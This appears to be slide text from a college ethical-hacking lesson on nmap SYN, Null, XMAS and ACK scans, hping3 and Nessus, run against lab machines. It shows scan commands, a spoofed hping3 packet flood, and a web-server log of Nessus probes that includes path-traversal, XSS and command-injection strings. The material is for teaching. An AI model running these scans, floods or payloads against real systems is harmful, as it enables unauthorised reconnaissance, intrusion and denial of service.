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Practice

Assume the web server at 172.30.10.160 is powered up and online

What can you conclude about the server's HTTP web service?

A) [open] It's up (running), the website can be browsed.
B) [closed] It's down (stopped), the website is not available.
C) [filtered] Unknown, a firewall is blocking access and the 

website is not available.
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C

C

A

B

What can you conclude about the server's HTTP web service?

A) [open] It's up (running), the website can be browsed.
B) [closed] It's down (stopped), the website is not available.
C) [filtered] Unknown, a firewall is blocking access and the website is not available.
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Syn

Scan
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https://pen-testing.sans.org/blog/2013/10/08/nmap-cheat-sheet-1-0

Connect Scan

https://pen-testing.sans.org/blog/2013/10/08/nmap-cheat-sheet-1-0
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Syn Scan

• Attacker resets the connection attempt before 
three-way handshake can complete.

• Stealthy because connection is never created.

• Scan results: 
• If SYN-ACK received:  "open".
• If RST received:  "closed".
• If no reply or ICMP error:  "filtered".
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HTTP service Firewall nmap result

running running, ACCEPT 80 ?

running running, DROP 80 ?

running running, REJECT 80 w/ error ?

stopped running, ACCEPT 80 ?

stopped running, DROP 80 ?

stopped running, REJECT 80 w/ error ?

Syn Scan Experiments

EH-Pod-05

EH-pfSense-05
gateway

"EH-Pod-05  Network"
10.76.5.0/24

.205 .1 .150

“Microlab Network”
172.30.10.0/24

EH-Kali-05EH-Centos
Web Server
and firewall 

.160

Target Attacker

nmap -sS -Pn -p 80 eh-centos
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Attacker resets connection rather than completing the three-way handshake  

nmap -sS -Pn -p 80 eh-centos

Result:  nmap reports port 80 is open

Syn Scan
Firewall = running (accepts HTTP) and HTTP Service = running
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Target does not respond and attacker times-out

Syn Scan
Firewall = running (drops HTTP) and HTTP Service = running

Result:  nmap reports port 80 is filtered

nmap -sS -Pn -p 80 eh-centos
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Target replies with ICMP error

Syn Scan
Firewall = running (reject HTTP with error) and HTTP Service = running

nmap -sS -Pn -p 80 eh-centos

Result:  nmap reports port 80 is filtered
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Target port responds by resetting the connection

Result:  nmap reports port 80 is closed

nmap -sS -Pn -p 80 eh-centos

Syn Scan
Firewall = running (accepts HTTP) and HTTP Service = stopped
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Target does not respond and attacker times-out

Syn Scan
Firewall = running (drops HTTP) and HTTP Service = stopped

Result:  nmap reports port 80 is filtered

nmap -sS -Pn -p 80 eh-centos
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Target replies with ICMP error

Syn Scan
Firewall = running (reject HTTP with error) and HTTP Service = stopped

nmap -sS -Pn -p 80 eh-centos

Result:  nmap reports port 80 is filtered
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HTTP service Firewall nmap result

running running, ACCEPT 80 Open

running running, DROP 80 Filtered

running running, REJECT 80 w/ error Filtered

stopped running, ACCEPT 80 Closed

stopped running, DROP 80 Filtered

stopped running, REJECT 80 w/ error Filtered

Syn Scan Summary

nmap -sS -Pn -p 80 eh-centos



CIS 76 - Lesson 6

119

Practice

Capture 1

Capture 2

Which scan is more likely to be logged and why?
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Practice

Capture 1

Capture 2

Which capture above shows a "stealthy" SYN scan 
and how do you know?
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Capture 1

Capture 2

Which scan is more likely to be logged? 
Capture 1, because the 3-way handshake completes and 
is considered an established connection

Which scan is a "stealthy" SYN scan and how do 
you know? 
Capture 2, because the 3-way handshake never 
completed.
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Null, XMAS 
and FIN

Scans
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Null, XMAS, and FIN scans

• These scan types work the same way using different TCP 
flags. 

• Scan results:

• If RST received: "closed". 

• If no reply: "open or filtered". 

• If ICMP unreachable error is received: "filtered".

• These scan types are slightly more stealthy than a SYN 
scan and may be able to evade certain non-stateful
firewalls and packet filtering routers. However they can be 
detected by most modern IDS products. 

https://nmap.org/book/man-port-scanning-techniques.html

https://nmap.org/book/man-port-scanning-techniques.html
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Null, XMAS, and FIN scans

"The big downside is that not all systems follow RFC 793 to 

the letter. A number of systems send RST responses to the 

probes regardless of whether the port is open or not. This 

causes all of the ports to be labeled closed. Major operating 

systems that do this are Microsoft Windows, many Cisco 

devices, BSDI, and IBM OS/400. This scan does work 

against most Unix-based systems though. Another downside 

of these scans is that they can't distinguish open ports from 

certain filtered ones, leaving you with the response 

open|filtered."

https://nmap.org/book/man-port-scanning-techniques.html

https://nmap.org/book/man-port-scanning-techniques.html
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Null

Scan

(Linux)
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Null Scan

• All TCP flags are off
• Result is one of two states: Closed, "Open or Filtered"

Switched to Kali on the same subnet because NULL scans didn't get 
through pfSense firewall
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"The expected result of a Null Scan on an open port is no 

response. Since there are no flags set, the target will not 

know how to handle the request. It will discard the packet 

and no reply will be sent. If the port is closed, the target will 

send an RST packet in response."

"Information about which ports are open can be useful to 

hackers, as it will identify active devices and their TCP-based 

application-layer protocol."

https://www.plixer.com/blog/scrutinizer/the-null-scan-youre-being-watched/

The Null Scan – You’re being watched
Excerpt from blog by Thomas Pore

https://www.plixer.com/blog/scrutinizer/the-null-scan-youre-being-watched/
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.126

“Microlab Network”
172.30.10.0/24

EH-KaliEH-Centos
Web Server 

.160

Target Attacker

Switched to Kali on the same subnet because NULL scans didn't get 
through pfSense firewall
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Null Scan
Firewall action = no firewall and Service = Running

[rsimms@EH-Centos ~]$ sudo service iptables status

iptables: Firewall is not running.

[rsimms@EH-Centos ~]$

[root@EH-Centos ~]# service httpd status

httpd (pid 4196) is running...

[root@EH-Centos ~]# 
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No response by victim

Null Scan
Firewall action = no firewall and Service = Running
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Null Scan
Firewall action = no firewall and Service = Stopped

[root@EH-Centos ~]# service iptables status

iptables: Firewall is not running.

[root@EH-Centos ~]# 

[root@EH-Centos ~]# service httpd status

httpd is stopped

[root@EH-Centos ~]#
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Victim resets connection

Null Scan
Firewall action = no firewall and Service = Stopped
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Service Firewall Result

Running no firewall Open or filtered

Stopped no firewall Closed

Null Scan (Linux)
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Null

Scan

(Windows 7)
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.126

“Microlab Network”
172.30.10.0/24

EH-KaliEH-Win7
Web Server 

.162

Target Attacker

Switched to Win 7 target to see how Windows 
implements RFC 793 (Transmission Control Protocols)
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Null Scan
Firewall action = no firewall and Service = Running

Web service running

Firewall off
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Windows 7 sends reset when port is actually open

Null Scan
Firewall action = no firewall and Service = Running
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Null Scan
Firewall action = no firewall and Service = Stopped

Web service stopped

Firewall off
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Windows sends reset when port is closed

Null Scan
Firewall action = no firewall and Service = Stopped
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Service Firewall Result

Running no firewall Closed

Stopped no firewall Closed

Null Scan (Windows 7)
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XMAS

Scan
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XMAS Scan

• All FIN, PSH and URG flags are on
• Works like a null scan, closed port responds with reset
• Result is one of two states: Closed, "Open or Filtered"

Switched to Kali on the same subnet because XMAS scans didn't get 
through pfSense firewall
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"So in other words, the Xmas scan in order to identify 

listening ports on a targeted system will send a specific 

packet. If the port is open on the target system then the 

packets will be ignored. If closed then an RST will be sent 

back to the individual running the scan. 

Xmas scans were popular not only because of their speed 

compared to other scans but because of there similarity to 

out of state FIN and ACK packets that could easily bypass 

stateless firewalls and ACL filters.  

https://www.plixer.com/blog/detecting-malware/understanding-xmas-scans/

Understanding Xmas Scans
Excerpt from blog by Thomas Pore

https://www.plixer.com/blog/detecting-malware/understanding-xmas-scans/
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.126

“Microlab Network”
172.30.10.0/24

EH-KaliEH-Centos
Web Server 

.160

Target Attacker

Switched to Kali on the same subnet because NULL scans didn't get 
through pfSense firewall
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XMAS Scan
Firewall action = no firewall and Service = Running

[rsimms@EH-Centos ~]$ sudo service iptables status

iptables: Firewall is not running.

[rsimms@EH-Centos ~]$

[root@EH-Centos ~]# service httpd status

httpd (pid 4196) is running...

[root@EH-Centos ~]# 
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No response by victim

XMAS Scan
Firewall action = no firewall and Service = Running
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XMAS Scan
Firewall action = no firewall and Service = Stopped

[root@EH-Centos ~]# service iptables status

iptables: Firewall is not running.

[root@EH-Centos ~]# 

[root@EH-Centos ~]# service httpd status

httpd is stopped

[root@EH-Centos ~]#
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Victim resets connection

XMAS Scan
Firewall action = no firewall and Service = Stopped
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Service Firewall Result

Running no firewall Open or filtered

Stopped no firewall Closed

XMAS Scan (Linux)
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ACK

Scan



CIS 76 - Lesson 6

151

ACK Scan

• Only the ACK flag is set.
• Attempts to determine the presence of a stateful 

firewall, not whether a port is open or closed.
• A stateful firewall always looks for a SYN to start the 

three-way handshake. 
• If the port responds with a reset (whether open or 

closed) then it is considered unfiltered (no firewall or 
filter was fooled).

• If there is no response or an ICMP error message is 
returned then the port is considered filtered (whether 
open or closed). 
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.126

“Microlab Network”
172.30.10.0/24

EH-KaliEH-Centos
Web Server 

.160

Target Attacker

Does EH-Centos have an active stateful firewall?
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ACK Scan
Firewall action = no firewall and Service = Running

[root@EH-Centos ~]# service iptables status

iptables: Firewall is not running.

[root@EH-Centos ~]# 

[root@EH-Centos ~]# service httpd status

httpd (pid 9055) is running...

[root@EH-Centos ~]#
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A reset from the victim indicates there is no stateful firewall

ACK Scan
Firewall action = no firewall and Service = Running
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ACK Scan
Firewall action = REJECT and Service = Running

[root@EH-Centos-80RunRej ~]# cat /etc/sysconfig/iptables

# Firewall configuration written by system-config-firewall

# Manual customization of this file is not recommended.

*filter

:INPUT ACCEPT [0:0]

:FORWARD ACCEPT [0:0]

:OUTPUT ACCEPT [0:0]

-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

-A INPUT -p icmp -j ACCEPT

-A INPUT -i lo -j ACCEPT

-A INPUT -m state --state NEW -m tcp -p tcp --dport 21 -j ACCEPT

-A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT

-A INPUT -m state --state NEW -m tcp -p tcp --dport 23 -j ACCEPT

-A INPUT -m state --state NEW -m tcp -p tcp --dport 25 -j ACCEPT

-A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j REJECT --

reject-with icmp-host-prohibited

-A INPUT -j REJECT --reject-with icmp-host-prohibited

-A FORWARD -j REJECT --reject-with icmp-host-prohibited

COMMIT

[root@EH-Centos-80RunRej ~]#

[root@EH-Centos-80RunRej ~]# service httpd status

httpd (pid 1940) is running...

[root@EH-Centos-80RunRej ~]#
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Getting the ICMP error implies victim has a firewall

ACK Scan
Firewall action = REJECT and Service = Running
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ACK Scan
Firewall action = ACCEPT and Service = Running

[root@EH-Centos-80RunAcc ~]# cat /etc/sysconfig/iptables

# Firewall configuration written by system-config-firewall

# Manual customization of this file is not recommended.

*filter

:INPUT ACCEPT [0:0]

:FORWARD ACCEPT [0:0]

:OUTPUT ACCEPT [0:0]

-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

-A INPUT -p icmp -j ACCEPT

-A INPUT -i lo -j ACCEPT

-A INPUT -m state --state NEW -m tcp -p tcp --dport 21 -j ACCEPT

-A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT

-A INPUT -m state --state NEW -m tcp -p tcp --dport 23 -j ACCEPT

-A INPUT -m state --state NEW -m tcp -p tcp --dport 25 -j ACCEPT

-A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT

-A INPUT -j REJECT --reject-with icmp-host-prohibited

-A FORWARD -j REJECT --reject-with icmp-host-prohibited

COMMIT

[root@EH-Centos-80RunAcc ~]#

[root@EH-Centos-80RunAcc ~]# service httpd status

httpd (pid 1938) is running...

[root@EH-Centos-80RunAcc ~]#
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Victim has no firewall or the firewall was fooled, packet made it to the open port

ACK Scan
Firewall action = ACCEPT and Service = Running
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ACK scan of 
OWASP
Example
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.150

“Pod 5 Network”
10.76.5.0/24

EH-Kali-05OWASP-05
Broken Web Server 

.101

Target Attacker

From your pod Kali, do a ACK scan on port 80 on your OWASP VM.  

Is a stateful firewall present?
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The firewall on OWASP is effectively disabled (unfiltered).  Any packet in 
any direction is allowed.  A stateful firewall is NOT operating.

The OWASP VM



CIS 76 - Lesson 6

162

nmap -sA -Pn -p 80 10.76.5.101

The attacker does not know the firewall situation on the 
OWASP VM and does an ACK scan to see if a stateful firewall 
is operating. 
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The OWASP VM responds to each ACK scan with a RESET packet
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ACK Scan

• Only the ACK flag is set.
• Attempts to determine the presence of a stateful firewall, not 

whether a port is open or closed.
• A stateful firewall always looks for a SYN to start the three-

way handshake. 
• If the port responds with a reset (whether open or closed) 

then it is considered unfiltered (no firewall or filter was fooled).
• If there is no response or an ICMP error message is returned 

then the port is considered filtered (whether open or closed). 
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https://nmap.org/book/man-port-scanning-techniques.html

-sA (TCP ACK scan)

This scan is different than the others discussed so far in that it 
never determines open (or even open|filtered) ports. It is used to 
map out firewall rulesets, determining whether they are stateful or 
not and which ports are filtered.

The ACK scan probe packet has only the ACK flag set (unless you 
use --scanflags). When scanning unfiltered systems, open and 
closed ports will both return a RST packet. Nmap then labels them 
as unfiltered, meaning that they are reachable by the ACK packet, 
but whether they are open or closed is undetermined. Ports that 
don't respond, or send certain ICMP error messages back (type 3, 
code 0, 1, 2, 3, 9, 10, or 13), are labeled filtered.

NMAP documentation

https://nmap.org/book/man-port-scanning-techniques.html
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Source:  Hands-on Ethical Hacking and Network Defense. 
Michael T. Simpson, Third Edition, page 116-117

The textbook
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hping3
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http://www.hping.org/

hping3

http://www.hping.org/
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http://www.hping.org/

hping3

"hping is a command-line oriented TCP/IP packet 

assembler/analyzer. The interface is inspired to the 

ping(8) unix command, but hping isn't only able to 

send ICMP echo requests. It supports TCP, UDP, 

ICMP and RAW-IP protocols, has a traceroute mode, 

the ability to send files between a covered channel, 

and many other features."

-- hping3 website

http://www.hping.org/


CIS 76 - Lesson 6

171

hping3
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hping3
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EH-Pod-05

"EH-Pod-05  Network"
10.76.5.0/24

.150

EH-Kali-05

EH-OWASP-05
Web Server 

Attacker

.101

Victim
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hping3

hping3 -c 2 10.76.5.101

This does two null scans 
of port 0 on 10.76.5.1



CIS 76 - Lesson 6

175

hping3

hping3 --scan 79-84 -S 10.76.5.101

This does a 
SYN scan of 
ports 79-84
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hping3

hping3 --udp --rand-source --data 20 -c 5 10.76.5.101

This sends 5 UDP packets from 
random IP addresses (spoofing) with 
20 bytes of data to eh-owasp-05
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hping3

hping3 -S -p 80 -c 3 10.76.5.101

This does 3 SYN scans of port 
80 on eh-owasp-05.  Note the 
connection is never completed.
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hping3

time hping3 -V -p 80 --rand-source --flood 10.76.5.101

This command sent 351,972 spoofed packets in three and a half seconds!  --flood is 
"fast as you can", -V is verbose.

Only used to see how long it 
takes to send the packets
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Vulnerability

Scans
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Nessus
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nessus

https://www.tenable.com/

https://www.tenable.com/
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nessus

https://www.tenable.com/products

"Nessus, the industry-leading vulnerability scanner, 

has been adopted by millions of users worldwide. 

Nessus discovers all assets on your network -- even 

hard-to-find assets like containers, VMs, mobile and 

guest devices – and informs you clearly and 

accurately about their vulnerabilities and prioritizes 

what you need to fix first. Nessus is available as 

both a cloud and on-premises vulnerability scanning 

and management solution." 

-- Tenable website

https://www.tenable.com/products
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nessus

https://store.tenable.com/index.php?main_page=product_info&cPath=1&products_id=94

https://store.tenable.com/index.php?main_page=product_info&cPath=1&products_id=94
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nessus

https://www.tenable.com/products/nessus-home

https://www.tenable.com/products/nessus-home
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--------------------- httpd Begin ------------------------

A total of 1 sites probed the server
207.62.184.94

Requests with error response codes
400 Bad Request

/: 6 Time(s)
null: 5 Time(s)
*: 2 Time(s)
1505963502:@207.62.187.231/: 2 Time(s)
%.: 1 Time(s)
../../../../../../../../../../../../windows/win.ini: 1 Time(s)
../../../../../../../../../../../../winnt/win.ini: 1 Time(s)
..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini: 1 Time(s)
..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini: 1 Time(s)
..\\..\\..\\..\\..\\..\\windows\\win.ini: 1 Time(s)
..\\..\\..\\..\\..\\..\\winnt\\win.ini: 1 Time(s)
./././././././././././././././././././././ ... ../../../../../: 1 Time(s)
.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\/windows/win.ini: 1 Time(s)
.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\/winnt/win.ini: 1 Time(s)
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd: 1 Time(s)
/%NETHOOD%/: 1 Time(s)
/././..: 1 Time(s)
/login.php: 1 Time(s)
/password: 1 Time(s)
12.2.1: 1 Time(s)
<meta%20http-equiv=Set-Cookie%20content=%22testqxfq=7118%22>: 1 Time(s)
<script>document.cookie=%22testqxfq=7118;%22</script>: 1 Time(s)
CONNECT/0.4: 1 Time(s)
CONNECT/0.6: 1 Time(s)
c:\\boot.ini: 1 Time(s)
http://180.163.113.82/check_proxy: 1 Time(s)
invalid: 1 Time(s)

403 Forbidden
/server-status: 2 Time(s)
/.htaccess.1: 1 Time(s)
/.htaccess.bak: 1 Time(s)
/.htaccess.copy: 1 Time(s)
/.htaccess.old: 1 Time(s)
/.htaccess.tmp: 1 Time(s)
/.htaccess.~1~: 1 Time(s)
/.htaccess~: 1 Time(s)

404 Not Found
/login: 10 Time(s)
/js/hpsum/hpsum-version.js: 5 Time(s)
/login.html: 4 Time(s)
/manager/html: 4 Time(s)
/home.htm: 3 Time(s)
/index.jsp: 3 Time(s)
/login?redirects=10: 3 Time(s)
/CSCOnm/servlet/login/login.jsp: 2 Time(s)
/LoginPage.do: 2 Time(s)
/NASApp/nessus/: 2 Time(s)
/SE/EMC_SE.swf: 2 Time(s)
/VncViewer.jar: 2 Time(s)
/admin/login.jsp: 2 Time(s)
/auth/login: 2 Time(s)
/grspvs1.html: 2 Time(s)
/header.php?tab=status: 2 Time(s)
/images: 2 Time(s)
/login.jsp: 2 Time(s)
/login.php: 2 Time(s)
/nessus345678.html: 2 Time(s)
/properties/configuration.php?tab=Status: 2 Time(s)
/robots.txt: 2 Time(s)
/sitemap.xml: 2 Time(s)
/system/login: 2 Time(s)
/ui/: 2 Time(s)
/+CSCOE+/logon.html: 1 Time(s)
/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd: 1 Time(s)
/..\\pixfir~1\\how_to_login.html: 1 Time(s)
/..htaccess.swp: 1 Time(s)
/./WEB-INF/: 1 Time(s)
/.DS_Store: 1 Time(s)
/.anydomain.test: 1 Time(s)
/.cobalt: 1 Time(s)
/.svn/entries: 1 Time(s)
//Help.action: 1 Time(s)
//admincp/login.php: 1 Time(s)
//etc/passwd: 1 Time(s)
//loaK4vz4.asp: 1 Time(s)
//login.jsp: 1 Time(s)
//login/login: 1 Time(s)
//perl.exe?-v: 1 Time(s)
//perl?-v: 1 Time(s)
//user/index.php: 1 Time(s)
/1505963486/certificate/207.62.187.231: 1 Time(s)
/1505963486/facts/207.62.187.231: 1 Time(s)
/89mRl6tk.aspx: 1 Time(s)
/<meta%20http-equiv=Set-Cookie%20content=% ... stqxfq=7118%22>: 1 Time(s)
/<script>document.cookie=%22testqxfq=7118;%22</script>: 1 Time(s)
/AnSdLu4K.asmx: 1 Time(s)
/CFIDE/administrator/index.cfm: 1 Time(s)
/CFIDE/administrator/settings/version.cfm: 1 Time(s)
/CPcoIXaa.rem: 1 Time(s)
/CVS/Entries: 1 Time(s)
/ConsoleHelp/default.jsp: 1 Time(s)
/ControlManager/default.htm: 1 Time(s)
/ControllerWeb/: 1 Time(s)
/DB4Web/tnsappliance-8619ea19:23/foo: 1 Time(s)
/Default.aspx: 1 Time(s)
/DesktopDirector: 1 Time(s)
/Director: 1 Time(s)
/FormHandler.cgi: 1 Time(s)
/HNAP1/: 1 Time(s)
/Home.do: 1 Time(s)
/IDMProv/jsps/help/Help.jsp: 1 Time(s)
/InitialPage.asp: 1 Time(s)
/MM/: 1 Time(s)
/MSWSMTP/Common/Authentication/Logon.aspx: 1 Time(s)
/NCMContainer.cc: 1 Time(s)
/NC_6KcVU.aspx: 1 Time(s)
/NULL.ida: 1 Time(s)
/OEMSettings.ini: 1 Time(s)
/Orion/Login.asp: 1 Time(s)
/Orion/Login.aspx: 1 Time(s)
/OvCgi/freeIPaddrs.ovpl?netnum=127.0.0.1&n ... 0.0.1%20|%20id|: 1 Time(s)
/PUBLIC/ADMIN/INDEX.HTM: 1 Time(s)
/PassTrixMain.cc: 1 Time(s)
/Portal/Portal.mwsl?MainSelection=USFW&Tab ... mplateFile=NONE: 1 Time(s)
/RSAarcher/Default.asp: 1 Time(s)
/RSAarcher/Default.aspx: 1 Time(s)
/RWGeQmNV.soap: 1 Time(s)
/Reporting/login/change_password.php?enable_auth=0: 1 Time(s)
/SAPHostControl/?wsdl: 1 Time(s)
/Sametime/buildinfo.txt: 1 Time(s)
/Sametime/domino/html/sametime/buildinfoST75CF1.txt: 1 Time(s)
/SilverStream: 1 Time(s)
/SilverStream/Meta/Tables/?access-mode=text: 1 Time(s)
/SiteScope/: 1 Time(s)
/SiteScope/cgi/go.exe/SiteScope?page=event ... t=administrator: 1 Time(s)
/SnoopServlet/: 1 Time(s)
/UDataArea?plugin=com.dell.oma.webplugins.AboutWebPlugin: 1 Time(s)
/ViewerFrame?Mode=Motion: 1 Time(s)
/WEB-INF./web.xml: 1 Time(s)
/Webcam/webcam.html: 1 Time(s)
/Wsusadmin/Errors/BrowserSettings.aspx: 1 Time(s)
/_vti_bin/fpcount.exe: 1 Time(s)
/_vti_bin/shtml.dll/_vti_rpc: 1 Time(s)
/about: 1 Time(s)
/about.jsp: 1 Time(s)
/aboutprinter.html: 1 Time(s)
/acopia/: 1 Time(s)
/active.log: 1 Time(s)
/admin.back: 1 Time(s)
/admin/: 1 Time(s)
/admin/LocalIndex.html: 1 Time(s)
/admin/login.do: 1 Time(s)
/admin/statistics/ConfigureStatistics: 1 Time(s)
/altercast/AlterCast?op=%3cscript%3ealert( ... %3c%2fscript%3e: 1 Time(s)
/ap//: 1 Time(s)
/apex/f?p=nessuscheck: 1 Time(s)
/apex/listenerConfigure: 1 Time(s)
/app/idxasp.html: 1 Time(s)
/app/ui/login.jsp: 1 Time(s)

/gQQVSic9.ashx: 1 Time(s)
/getxml: 1 Time(s)
/global.asa: 1 Time(s)
/gwadmin-console/login.jsp: 1 Time(s)
/hazelcast/rest/cluster: 1 Time(s)
/hc/admin/login/: 1 Time(s)
/header.php: 1 Time(s)
/help/contents.htm: 1 Time(s)
/help/introduction/release-notes.html: 1 Time(s)
/home.jsf?autoScroll=0%2c275)%3b%2f%2f--%3 ... croll_xss.nasl': 1 Time(s)
/horde/imp/status.php3: 1 Time(s)
/html/en/index.htm: 1 Time(s)
/html/iscscada.htm: 1 Time(s)
/hxXpoYAd.ashx: 1 Time(s)
/idm/login.jsp?lang=en&cntry=: 1 Time(s)
/igsponsor: 1 Time(s)
/iisadmpwd/aexp.htr: 1 Time(s)
/iisadmpwd/aexp2.htr: 1 Time(s)
/iisadmpwd/aexp2b.htr: 1 Time(s)
/iisadmpwd/aexp3.htr: 1 Time(s)
/iisadmpwd/aexp4.htr: 1 Time(s)
/iisadmpwd/aexp4b.htr: 1 Time(s)
/iisprotect/admin/SiteAdmin.ASP?V_SiteName ... oupName=nessus': 1 Time(s)
/iisprotect/admin/SiteAdmin.ASP?V_SiteName ... roupName=nessus: 1 Time(s)
/images/login_top.gif: 1 Time(s)
/images/logon_merge.gif: 1 Time(s)
/imc: 1 Time(s)
/img/main.cgi?next_file=main.htm: 1 Time(s)
/imp/status.php3: 1 Time(s)
/index.JSP: 1 Time(s)
/index.aspx: 1 Time(s)
/index.do: 1 Time(s)
/index.exp: 1 Time(s)
/index.jsp%00x: 1 Time(s)
/index.php: 1 Time(s)
/index.php/123: 1 Time(s)
/internalServerReporting.php: 1 Time(s)
/interscan/cgi-bin/FtpSave.dll?I'm%20Here: 1 Time(s)
/intruvert/jsp/admin/Login.jsp: 1 Time(s)
/invoker/EJBInvokerServlet: 1 Time(s)
/invoker/JMXInvokerServlet: 1 Time(s)
/iucZwVBs.aspx: 1 Time(s)
/ivc2/Backup/IVC1/html/index.htm: 1 Time(s)
/js/Device.js: 1 Time(s)
/js/zimbraMail/share/model/ZmSettings.js: 1 Time(s)
/jsonrpc: 1 Time(s)
/jts/: 1 Time(s)
/lcds/messagebroker/http: 1 Time(s)
/lcgi/sewse.nlm?sys:/novonyx/suitespot/doc ... e/misc/test.jse: 1 Time(s)
/lcgi/sewse.nlm?sys:/novonyx/suitespot/doc ... em/autoexec.ncf: 1 Time(s)
/lcgi/sewse.nlm?sys:/novonyx/suitespot/doc ... sc/allfield.jse: 1 Time(s)
/ldap/cgi-bin/ldacgi.exe?Action=Substitute ... lePath=enus1252: 1 Time(s)
/lem/index.html: 1 Time(s)
/links_en.html: 1 Time(s)
/login.do: 1 Time(s)
/login.htm: 1 Time(s)
/login.html?1600: 1 Time(s)
/login/: 1 Time(s)
/login1.htm: 1 Time(s)
/login?user=**%3Cscript%3EJavaScript:alert ... %3C%2Fscript%3E: 1 Time(s)
/login_up.php3?login_name=x&passwd=x&local ... boot.ini%00.jpg: 1 Time(s)
/logout: 1 Time(s)
/mail/: 1 Time(s)
/main.cgi?next_file=main.htm: 1 Time(s)
/main/web/status/: 1 Time(s)
/main_internet.php: 1 Time(s)
/mainui/: 1 Time(s)
/manual/ag/contents.htm: 1 Time(s)
/map/sitemap.xml: 1 Time(s)
/mapviewer/omserver?getv=t: 1 Time(s)
/menu.htm: 1 Time(s)
/messagebroker/http: 1 Time(s)
/mgmt/login?dest=%2Fmgmt%2Fgui%3Fp%3Dhome&reason=&username=: 1 Time(s)
/mod_gzip_status: 1 Time(s)
/mve/help/en/inventory/am_about.html: 1 Time(s)
/mxhelp/cgi-bin/namazucgi?lang=/../../../. ... /../../boot.ini: 1 Time(s)
/names.nsf/view?ReadDesign: 1 Time(s)
/netbasic/websinfo.bas: 1 Time(s)
/netflow/html/aboutus.jsp: 1 Time(s)
/netmri/config/userAdmin/login.tdf: 1 Time(s)
/niet1154222296.cfm: 1 Time(s)
/niet140963082.php4: 1 Time(s)
/niet1410788818.php6: 1 Time(s)
/niet1524591821.php5: 1 Time(s)
/niet1562562005.shtml: 1 Time(s)
/niet1665779550.: 1 Time(s)
/niet1699218303.shtm: 1 Time(s)
/niet1775422777.jsp: 1 Time(s)
/niet197318700.php3: 1 Time(s)
/niet2072378406.asp: 1 Time(s)
/niet2094590568.php: 1 Time(s)
/niet229692087.jspx: 1 Time(s)
/niet233799775.aspx: 1 Time(s)
/niet473119810: 1 Time(s)
/niet745529613.htm: 1 Time(s)
/niet904573786.html: 1 Time(s)
/nnm/main: 1 Time(s)
/nosuchfile-1299986582-1617101206.jsp: 1 Time(s)
/nps/servlet/portal: 1 Time(s)
/nps/servlet/portalservice: 1 Time(s)
/nsn/..%5Cutil/chkvol.bas: 1 Time(s)
/nsn/..%5Cutil/dir.bas: 1 Time(s)
/nsn/..%5Cutil/glist.bas: 1 Time(s)
/nsn/..%5Cutil/lancard.bas: 1 Time(s)
/nsn/..%5Cutil/set.bas: 1 Time(s)
/nsn/..%5Cutil/userlist.bas: 1 Time(s)
/nsn/..%5Cweb/env.bas: 1 Time(s)
/nsn/..%5Cwebdemo/fdir.bas: 1 Time(s)
/nsn/env.bas: 1 Time(s)
/nsn/fdir.bas: 1 Time(s)
/nul.dbm: 1 Time(s)
/ofbizsetup/control/checkLogin: 1 Time(s)
/oo/: 1 Time(s)
/ordermgr/control/checkLogin: 1 Time(s)
/ords/: 1 Time(s)
/ossim/session/login.php: 1 Time(s)
/page/portal/Design_Time_PG/Welcome: 1 Time(s)
/pages/login.php: 1 Time(s)
/perl/: 1 Time(s)
/perl/samples/env.pl: 1 Time(s)
/perl/samples/lancgi.pl: 1 Time(s)
/perl/samples/ndslogin.pl: 1 Time(s)
/perl/samples/volscgi.pl: 1 Time(s)
/platform-ui/: 1 Time(s)
/plc/webvisu.htm: 1 Time(s)
/pls/apex/f?p=nessuscheck: 1 Time(s)
/pls/portal/DEV1_PORTAL_DEMO.ORG_CHART.SHOW: 1 Time(s)
/pls/portal/DEV2_PORTAL_DEMO.ORG_CHART.SHOW: 1 Time(s)
/pls/portal/DEV3_PORTAL_DEMO.ORG_CHART.SHOW: 1 Time(s)
/pls/portal/DEV4_PORTAL_DEMO.ORG_CHART.SHOW: 1 Time(s)
/pls/portal/DEV5_PORTAL_DEMO.ORG_CHART.SHOW: 1 Time(s)
/pls/portal/DEV6_PORTAL_DEMO.ORG_CHART.SHOW: 1 Time(s)
/pls/portal/DEV7_PORTAL_DEMO.ORG_CHART.SHOW: 1 Time(s)
/pls/portal/DEV8_PORTAL_DEMO.ORG_CHART.SHOW: 1 Time(s)
/pls/portal/DEV9_PORTAL_DEMO.ORG_CHART.SHOW: 1 Time(s)
/pls/portal/DEV_PORTAL_DEMO.ORG_CHART.SHOW: 1 Time(s)
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW: 1 Time(s)
/portal: 1 Time(s)
/portal/diag/index.jsp: 1 Time(s)
/portal/page/portal/Design_Time_PG/Welcome: 1 Time(s)
/portal/pls/portal/DEV1_PORTAL_DEMO.ORG_CHART.SHOW: 1 Time(s)
/portal/pls/portal/DEV2_PORTAL_DEMO.ORG_CHART.SHOW: 1 Time(s)
/portal/pls/portal/DEV3_PORTAL_DEMO.ORG_CHART.SHOW: 1 Time(s)
/portal/pls/portal/DEV4_PORTAL_DEMO.ORG_CHART.SHOW: 1 Time(s)
/portal/pls/portal/DEV5_PORTAL_DEMO.ORG_CHART.SHOW: 1 Time(s)
/portal/pls/portal/DEV6_PORTAL_DEMO.ORG_CHART.SHOW: 1 Time(s)
/portal/pls/portal/DEV7_PORTAL_DEMO.ORG_CHART.SHOW: 1 Time(s)
/portal/pls/portal/DEV8_PORTAL_DEMO.ORG_CHART.SHOW: 1 Time(s)
/portal/pls/portal/DEV9_PORTAL_DEMO.ORG_CHART.SHOW: 1 Time(s)
/portal/pls/portal/DEV_PORTAL_DEMO.ORG_CHART.SHOW: 1 Time(s)

/appliance/: 1 Time(s)
/apps/zxtm/login.cgi: 1 Time(s)
/authenticate/login: 1 Time(s)
/autodiscover/autodiscover.xml: 1 Time(s)
/autopass/login_input: 1 Time(s)
/av-centerd: 1 Time(s)
/av/api/1.0/system/local/tasks: 1 Time(s)
